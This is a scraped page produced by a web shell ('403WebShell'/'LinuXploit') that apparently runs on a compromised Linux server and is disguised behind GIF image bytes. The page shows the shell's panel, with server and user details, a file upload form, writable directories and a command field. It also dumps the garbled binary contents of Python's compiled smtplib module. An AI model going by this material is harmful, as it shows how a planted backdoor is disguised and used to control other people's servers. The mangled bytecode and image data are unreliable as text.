GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus14 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python2.6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/smtplib.pyc
Mc@sdZddkZddkZddkZddkZddkZddklZ	ddk
lZddddd	d
ddd
dddgZdZ
dZdZeideiZdefdYZdefdYZdefdYZdefdYZd	efdYZd
efdYZdefdYZdefdYZd
efdYZdZdZyddkZWne j
o
e!Z"nXd fd!YZ#e$Z"dfd"YZ%e"o'd#e%fd$YZ&ei'd#nd%Z(d&e%fd'YZ)e*d(joddk
Z
d)Z+e+d*Z,e+d+i-d,Z.d-GHd.Z/x)e
i0i1Z2e2oPne/e2Z/q~d/e3e/GHe%d0Z4e4i5d1e4i6e,e.e/e4i7ndS(2s~SMTP/ESMTP client class.

This should follow RFC 821 (SMTP), RFC 1869 (ESMTP), RFC 2554 (SMTP
Authentication) and RFC 2487 (Secure SMTP over TLS).

Notes:

Please remember, when doing ESMTP, that the names of the SMTP service
extensions are NOT the same thing as the option keywords for the RCPT
and MAIL commands!

Example:

  >>> import smtplib
  >>> s=smtplib.SMTP("localhost")
  >>> print s.help()
  This is Sendmail version 8.8.4
  Topics:
      HELO    EHLO    MAIL    RCPT    DATA
      RSET    NOOP    QUIT    HELP    VRFY
      EXPN    VERB    ETRN    DSN
  For more info use "HELP <topic>".
  To report bugs in the implementation send email to
      sendmail-bugs@sendmail.org.
  For local information send email to Postmaster at your site.
  End of HELP info
  >>> s.putcmd("vrfy","someone@here")
  >>> s.getreply()
  (250, "Somebody OverHere <somebody@here.my.org>")
  >>> s.quit()
iN(tencode(tstderrt
SMTPExceptiontSMTPServerDisconnectedtSMTPResponseExceptiontSMTPSenderRefusedtSMTPRecipientsRefusedt
SMTPDataErrortSMTPConnectErrort
SMTPHeloErrortSMTPAuthenticationErrort	quoteaddrt	quotedatatSMTPiis
s	auth=(.*)cBseZdZRS(s4Base class for all exceptions raised by this module.(t__name__t
__module__t__doc__(((s/usr/lib/python2.6/smtplib.pyR@scBseZdZRS(sNot connected to any SMTP server.

    This exception is raised when the server unexpectedly disconnects,
    or when an attempt is made to use the SMTP instance before
    connecting it to a server.
    (RRR(((s/usr/lib/python2.6/smtplib.pyRCscBseZdZdZRS(s2Base class for all exceptions that include an SMTP error code.

    These exceptions are generated in some instances when the SMTP
    server returns an error code.  The error code is stored in the
    `smtp_code' attribute of the error, and the `smtp_error' attribute
    is set to the error message.
    cCs%||_||_||f|_dS(N(t	smtp_codet
smtp_errortargs(tselftcodetmsg((s/usr/lib/python2.6/smtplib.pyt__init__Ts		(RRRR(((s/usr/lib/python2.6/smtplib.pyRKscBseZdZdZRS(sSender address refused.

    In addition to the attributes set by on all SMTPResponseException
    exceptions, this sets `sender' to the string that the SMTP refused.
    cCs1||_||_||_|||f|_dS(N(RRtsenderR(RRRR((s/usr/lib/python2.6/smtplib.pyR`s			(RRRR(((s/usr/lib/python2.6/smtplib.pyRYscBseZdZdZRS(sAll recipient addresses refused.

    The errors for each recipient are accessible through the attribute
    'recipients', which is a dictionary of exactly the same sort as
    SMTP.sendmail() returns.
    cCs||_|f|_dS(N(t
recipientsR(RR((s/usr/lib/python2.6/smtplib.pyRns	(RRRR(((s/usr/lib/python2.6/smtplib.pyRfscBseZdZRS(s'The SMTP server didn't accept the data.(RRR(((s/usr/lib/python2.6/smtplib.pyRsscBseZdZRS(s&Error during connection establishment.(RRR(((s/usr/lib/python2.6/smtplib.pyRvscBseZdZRS(s"The server refused our HELO reply.(RRR(((s/usr/lib/python2.6/smtplib.pyR	yscBseZdZRS(svAuthentication error.

    Most probably the server didn't accept the username/password
    combination provided.
    (RRR(((s/usr/lib/python2.6/smtplib.pyR
|scCsjd}ytii|d}Wntj
onX|djo	d|S|djodSd|SdS(sQuote a subset of the email addresses defined by RFC 821.

    Should be able to handle anything rfc822.parseaddr can handle.
    is<%s>s<>N(NN(NN(tNonetemailtutilst	parseaddrtAttributeError(taddrtm((s/usr/lib/python2.6/smtplib.pyRs
	
cCs"tiddtidt|S(sQuote data for email.

    Double leading '.', and change Unix newline '\n', or Mac '\r' into
    Internet CRLF end-of-line.
    s(?m)^\.s..s(?:\r\n|\n|\r(?!\n))(tretsubtCRLF(tdata((s/usr/lib/python2.6/smtplib.pyRstSSLFakeFilecBs)eZdZdZdZdZRS(stA fake file like object that really wraps a SSLObject.

        It only supports what is needed in smtplib.
        cCs
||_dS(N(tsslobj(RR&((s/usr/lib/python2.6/smtplib.pyRscCsMd}d}x:|djo,|iid}|pPn||7}qW|S(Nts
i(RR&tread(Rtstrtchr((s/usr/lib/python2.6/smtplib.pytreadlines
cCsdS(N((R((s/usr/lib/python2.6/smtplib.pytcloses(RRRRR+R,(((s/usr/lib/python2.6/smtplib.pyR%s			cBsOeZdZdZdZdZdZdZdZ	ddde
idZdZ
dZdddZd	Zdd
ZdZddZdd
ZddZdZddZdZdZgdZgdZdZdZeZdZdZ dZ!dddZ"ggdZ#dZ$dZ%RS(sThis class manages a connection to an SMTP or ESMTP server.
    SMTP Objects:
        SMTP objects have the following attributes:
            helo_resp
                This is the message given by the server in response to the
                most recent HELO command.

            ehlo_resp
                This is the message given by the server in response to the
                most recent EHLO command. This is usually multiline.

            does_esmtp
                This is a True value _after you do an EHLO command_, if the
                server supports ESMTP.

            esmtp_features
                This is a dictionary, which, if the server supports ESMTP,
                will _after you do an EHLO command_, contain the names of the
                SMTP service extensions this server supports, and their
                parameters (if any).

                Note, all extension names are mapped to lower case in the
                dictionary.

        See each method's docstrings for details.  In general, there is a
        method of the same name to perform each SMTP command.  There is also a
        method called 'sendmail' that will do an entire mail transaction.
        itehloR'c	Cs||_h|_t|_|o<|i||\}}|djot||q^n|dj	o
||_nlti	}d|jo
||_nFd}yti
ti}Wntij
onXd||_dS(sInitialize a new instance.

        If specified, `host' is the name of the remote host to which to
        connect.  If specified, `port' specifies the port to which to connect.
        By default, smtplib.SMTP_PORT is used.  An SMTPConnectError is raised
        if the specified `host' doesn't respond correctly.  If specified,
        `local_hostname` is used as the FQDN of the local host.  By default,
        the local hostname is found using socket.getfqdn().

        it.s	127.0.0.1s[%s]N(
ttimeouttesmtp_featurest	SMTP_PORTtdefault_porttconnectRRtlocal_hostnametsockettgetfqdnt
gethostbynametgethostnametgaierror(	RthosttportR4R/RRtfqdnR((s/usr/lib/python2.6/smtplib.pyRs$			




cCs
||_dS(sSet the debug output level.

        A non-false value results in debug messages for connection and for all
        messages sent to and received from the server.

        N(t
debuglevel(RR=((s/usr/lib/python2.6/smtplib.pytset_debuglevelscCs@|idjotdI||fIJnti||f|S(Nisconnect:(R=RR5tcreate_connection(RR;R:R/((s/usr/lib/python2.6/smtplib.pyt_get_socket
st	localhostc	Cs/|o|id|idjoo|id}|djoO|| ||d}}yt|}Wqtj
otidqXqn|p
|i}n|idjotdI||fIJn|i	|||i
|_|i\}}|idjotdI|IJn||fS(spConnect to a host on a given port.

        If the hostname ends with a colon (`:') followed by a number, and
        there is no port specified, that suffix will be stripped off and the
        number interpreted as the port number to use.

        Note: This method is automatically invoked by __init__, if a host is
        specified during instantiation.

        t:iisnonnumeric portsconnect:(
tfindtrfindtintt
ValueErrorR5terrorR2R=RR@R/tsocktgetreply(RR:R;tiRR((s/usr/lib/python2.6/smtplib.pyR3s"'

cCs|idjotdIt|IJnt|doQ|ioGy|ii|Wqtij
o|it	dqXn
t	ddS(sSend `str' to the server.issend:RHsServer not connectedsplease run connect() firstN(
R=RtreprthasattrRHtsendallR5RGR,R(RR)((s/usr/lib/python2.6/smtplib.pytsend,s
cCsE|djod|tf}nd||tf}|i|dS(sSend a command to the server.R's%s%ss%s %s%sN(R#RN(RtcmdRR)((s/usr/lib/python2.6/smtplib.pytputcmd8s
cCs=g}|idjo|iid|_nx|ii}|djo|itdn|idjotdIt	|IJn|i
|di|d }yt|}Wnt
j
od}PnX|dd!d	joPq2q2d
i|}|idjotd||fIJn||fS(
sGet a reply from the server.

        Returns a tuple consisting of:

          - server response code (e.g. '250', or such, if all goes well)
            Note: returns -1 if it can't read response code.

          - server response string corresponding to response code (multiline
            responses are converted to a single, multiline string).

        Raises SMTPServerDisconnected if end-of-file is reached.
        trbR'sConnection unexpectedly closedisreply:iiit-s
sreply: retcode (%s); Msg: %sN(tfileRRHtmakefileR+R,RR=RRKtappendtstripRERFtjoin(RtresptlineRterrcodeterrmsg((s/usr/lib/python2.6/smtplib.pyRI@s.



cCs|i|||iS(s-Send a command, and return its response code.(RPRI(RROR((s/usr/lib/python2.6/smtplib.pytdocmdhscCs?|id|p|i|i\}}||_||fS(swSMTP 'helo' command.
        Hostname to send for this command defaults to the FQDN of the local
        host.
        thelo(RPR4RIt	helo_resp(RtnameRR((s/usr/lib/python2.6/smtplib.pyR]ns	c
Csh|_|i|i|p|i|i\}}|djo-t|djo|itdn||_|djo||fSd|_	|ii
d}|d=x|D]}ti|}|o8|ii
ddd	|idd|id<qntid
|}|ow|idi}|i|idi}	|djo(|ii
|dd	|	|i|<q|	|i|<qqW||fS(sx SMTP 'ehlo' command.
        Hostname to send for this command defaults to the FQDN of the local
        host.
        iisServer not connectediis
tauthR't s((?P<feature>[A-Za-z0-9][A-Za-z0-9\-]*) ?tfeature(R0RPtehlo_msgR4RItlenR,Rt	ehlo_respt
does_esmtptsplitt
OLDSTYLE_AUTHtmatchtgettgroupsR!tgrouptlowertstringtendRV(
RR_RRRXteacht
auth_matchR Rbtparams((s/usr/lib/python2.6/smtplib.pyR-xs4	 
	
	1
(cCs|i|ijS(s7Does the server support a given SMTP service extension?(RmR0(Rtopt((s/usr/lib/python2.6/smtplib.pythas_extnscCs|id||idS(s;SMTP 'help' command.
        Returns help text from server.thelpi(RPRI(RR((s/usr/lib/python2.6/smtplib.pyRuscCs
|idS(s&SMTP 'rset' command -- resets session.trset(R\(R((s/usr/lib/python2.6/smtplib.pyRvscCs
|idS(s-SMTP 'noop' command -- doesn't do anything :>tnoop(R\(R((s/usr/lib/python2.6/smtplib.pyRwscCsXd}|o!|ioddi|}n|iddt||f|iS(s0SMTP 'mail' command -- begins mail xfer session.R'Ratmails	FROM:%s%s(RfRWRPRRI(RRtoptionst
optionlist((s/usr/lib/python2.6/smtplib.pyRxs
 cCsXd}|o!|ioddi|}n|iddt||f|iS(s;SMTP 'rcpt' command -- indicates 1 recipient for this mail.R'RatrcptsTO:%s%s(RfRWRPRRI(RtrecipRyRz((s/usr/lib/python2.6/smtplib.pyR{s
 cCs|id|i\}}|idjotdI||fIJn|djot||nt|}|dtjo|t}n|dt}|i||i\}}|idjotdI||fIJn||fSdS(sHSMTP 'DATA' command -- sends message data to server.

        Automatically quotes lines beginning with a period per rfc821.
        Raises SMTPDataError if there is an unexpected reply to the
        DATA command; the return value from this method is the final
        response code received when the all data is sent.
        R$isdata:ibiR.N(RPRIR=RRRR#RN(RRRtrepltq((s/usr/lib/python2.6/smtplib.pyR$s


cCs |idt||iS(s5SMTP 'verify' command -- checks for address validity.tvrfy(RPRRI(Rtaddress((s/usr/lib/python2.6/smtplib.pytverifyscCs |idt||iS(s.SMTP 'expn' command -- expands a mailing list.texpn(RPRRI(RR((s/usr/lib/python2.6/smtplib.pyRscCs|idjo|idjosd|idjo
djnpG|i\}}d|jo
djnpt||qqndS(sbCall self.ehlo() and/or self.helo() if needed.

        If there has been no previous EHLO or HELO command this session, this
        method tries ESMTP EHLO first.

        This method may raise the following exceptions:

         SMTPHeloError            The server didn't reply properly to
                                  the helo greeting.
        iii+N(R^RReR-R]R	(RRRX((s/usr/lib/python2.6/smtplib.pytehlo_or_helo_if_neededs
 (c
Csd}d}d}d}d}|i|idptdn|idi}|||g}	d}
x&|	D]}||jo|}
Pq}q}W|
|joU|id|\}}
|d	jo||
fS|i||
||\}}
n|
|jo-|id|d
|||\}}
n|
|jos|idd|t|dd
f\}}
|djot||
n|it|dd
\}}
n|
djotdn|djot||
n||
fS(sALog in on an SMTP server that requires authentication.

        The arguments are:
            - user:     The user name to authenticate with.
            - password: The password for the authentication.

        If there has been no previous EHLO or HELO command this session, this
        method tries ESMTP EHLO first.

        This method will return normally if the authentication was successful.

        This method may raise the following exceptions:

         SMTPHeloError            The server didn't reply properly to
                                  the helo greeting.
         SMTPAuthenticationError  The server didn't accept the username/
                                  password combination.
         SMTPException            No suitable authentication method was
                                  found.
        cSs?ti|}|dti||i}t|ddS(NRateolR'(tbase64tdecodestringthmactHMACt	hexdigestt
encode_base64(t	challengetusertpasswordtresponse((s/usr/lib/python2.6/smtplib.pytencode_cram_md5s cSstd||fddS(Nt%s%sRR'(R(RR((s/usr/lib/python2.6/smtplib.pytencode_plainstPLAINsCRAM-MD5tLOGINR`s,SMTP AUTH extension not supported by server.tAUTHiRas%s %sRR'iNs(No suitable authentication method found.iN(ii(	RRtRR0RgRR\RR
(RRRRRt
AUTH_PLAINt
AUTH_CRAM_MD5t
AUTH_LOGINtauthlisttpreferred_authst
authmethodtmethodRRX((s/usr/lib/python2.6/smtplib.pytloginsF		

	

%
	$
	%
%

cCs|i|idptdn|id\}}|djoltptdnti|i|||_t	|i|_
d|_d|_
h|_d|_n||fS(sPuts the connection to the SMTP server into TLS mode.

        If there has been no previous EHLO or HELO command this session, this
        method tries ESMTP EHLO first.

        If the server supports TLS, this will encrypt the rest of the SMTP
        session. If you provide the keyfile and certfile parameters,
        the identity of the SMTP server and client can be checked. This,
        however, depends on whether the socket module really checks the
        certificates.

        This method may raise the following exceptions:

         SMTPHeloError            The server didn't reply properly to
                                  the helo greeting.
        tstarttlss+STARTTLS extension not supported by server.tSTARTTLSis&No SSL support included in this PythoniN(RRtRR\t	_have_ssltRuntimeErrortssltwrap_socketRHR%RSRR^ReR0Rf(RtkeyfiletcertfileRXtreply((s/usr/lib/python2.6/smtplib.pyRPs

			
cCs|ig}|ioM|ido|idt|nx|D]}|i|qLWn|i||\}}	|djo |it||	|nh}
t|t	o
|g}nxT|D]L}|i
||\}}	|djo!|djo||	f|
|<qqWt|
t|jo|it|
n|i|\}}	|djo|it
||	n|
S(s	This command performs an entire mail transaction.

        The arguments are:
            - from_addr    : The address sending this mail.
            - to_addrs     : A list of addresses to send this mail to.  A bare
                             string will be treated as a list with 1 address.
            - msg          : The message to send.
            - mail_options : List of ESMTP options (such as 8bitmime) for the
                             mail command.
            - rcpt_options : List of ESMTP options (such as DSN commands) for
                             all the rcpt commands.

        If there has been no previous EHLO or HELO command this session, this
        method tries ESMTP EHLO first.  If the server does ESMTP, message size
        and each of the specified options will be passed to it.  If EHLO
        fails, HELO will be tried and ESMTP options suppressed.

        This method will return normally if the mail is accepted for at least
        one recipient.  It returns a dictionary, with one entry for each
        recipient that was refused.  Each entry contains a tuple of the SMTP
        error code and the accompanying error message sent by the server.

        This method may raise the following exceptions:

         SMTPHeloError          The server didn't reply properly to
                                the helo greeting.
         SMTPRecipientsRefused  The server rejected ALL recipients
                                (no mail was sent).
         SMTPSenderRefused      The server didn't accept the from_addr.
         SMTPDataError          The server replied with an unexpected
                                error code (other than a refusal of
                                a recipient).

        Note: the connection will be open even after an exception is raised.

        Example:

         >>> import smtplib
         >>> s=smtplib.SMTP("localhost")
         >>> tolist=["one@one.org","two@two.org","three@three.org","four@four.org"]
         >>> msg = '''\
         ... From: Me@my.org
         ... Subject: testin'...
         ...
         ... This is a test '''
         >>> s.sendmail("me@my.org",tolist,msg)
         { "three@three.org" : ( 550 ,"User unknown" ) }
         >>> s.quit()

        In the above example, the message was accepted for delivery to three
        of the four addresses, and one was rejected, with the error code
        550.  If all addresses are accepted, then the method will return an
        empty dictionary.

        tsizessize=%dii(RRfRtRURdRxRvRt
isinstancet
basestringR{RR$R(Rt	from_addrtto_addrsRtmail_optionstrcpt_optionst
esmtp_optstoptionRRXtsenderrsRp((s/usr/lib/python2.6/smtplib.pytsendmailts89







cCsL|io|iind|_|io|iind|_dS(s(Close the connection to the SMTP server.N(RSR,RRH(R((s/usr/lib/python2.6/smtplib.pyR,s
	
cCs|id}|i|S(sTerminate the SMTP session.tquit(R\R,(Rtres((s/usr/lib/python2.6/smtplib.pyRs
N(&RRRR=RRSR^RcReRfR5t_GLOBAL_DEFAULT_TIMEOUTRR>R@R3RNRPRIR\R]R-RtRuRvRwRxR{R$RRRRRRRR,R(((s/usr/lib/python2.6/smtplib.pyR
sF	$					(
2								N$Y	
tSMTP_SSLcBs5eZdZdddddeidZdZRS(s This is a subclass derived from SMTP that connects over an SSL encrypted
        socket (to use this class you need a socket module that was compiled with SSL
        support). If host is not specified, '' (the local host) is used. If port is
        omitted, the standard SMTP-over-SSL port (465) is used. keyfile and certfile
        are also optional - they can contain a PEM formatted private key and
        certificate chain file for the SSL connection.
        R'icCs8||_||_ti|||||t|_dS(N(RRR
Rt
SMTP_SSL_PORTR2(RR:R;R4RRR/((s/usr/lib/python2.6/smtplib.pyRs		cCsp|idjotdI||fIJnti||f|}ti||i|i}t||_	|S(Nisconnect:(
R=RR5R?RRRRR%RS(RR:R;R/t
new_socket((s/usr/lib/python2.6/smtplib.pyR@sN(RRRRR5RRR@(((s/usr/lib/python2.6/smtplib.pyRs
	itLMTPcBs5eZdZdZdeddZdddZRS(s-LMTP - Local Mail Transfer Protocol

    The LMTP protocol, which is very similar to ESMTP, is heavily based
    on the standard SMTP client. It's common to use Unix sockets for LMTP,
    so our connect() method must support that as well as a regular
    host:port server. To specify a Unix socket, you must use an absolute
    path as the host, starting with a '/'.

    Authentication is supported, using the regular SMTP mechanism. When
    using a Unix socket, LMTP generally don't support or require any
    authentication, but your mileage might vary.tlhloR'cCsti||||dS(sInitialize a new instance.N(R
R(RR:R;R4((s/usr/lib/python2.6/smtplib.pyR
sRAicCs|ddjoti|||Sy/tititi|_|ii|Wnltij
o]}|idjotdI|IJn|io|ii	nd|_ti|nX|i\}}|idjotdI|IJn||fS(s=Connect to the LMTP daemon, on either a Unix or a TCP socket.it/s
connect fail:sconnect:N(R
R3R5tAF_UNIXtSOCK_STREAMRHRGR=RR,RRI(RR:R;RR((s/usr/lib/python2.6/smtplib.pyR3s 
	N(RRRRct	LMTP_PORTRRR3(((s/usr/lib/python2.6/smtplib.pyRst__main__cCs'tii|dtiiiS(Ns: (tsyststdouttwritetstdinR+RV(tprompt((s/usr/lib/python2.6/smtplib.pyR*stFromtTot,sEnter message, end with ^D:R'sMessage length is %dRAi(8RR5R!temail.utilsRRRtemail.base64mimeRRRRt__all__R1RR#tcompiletIRht	ExceptionRRRRRRRR	R
RRRtImportErrortFalseRR%tTrueR
RRURRRRtfromaddrRgttoaddrsRRR+RYRdtserverR>RR(((s/usr/lib/python2.6/smtplib.pyt<module>!sr			

		
%)
	



Youez - 2016 - github.com/yon3zu
LinuXploit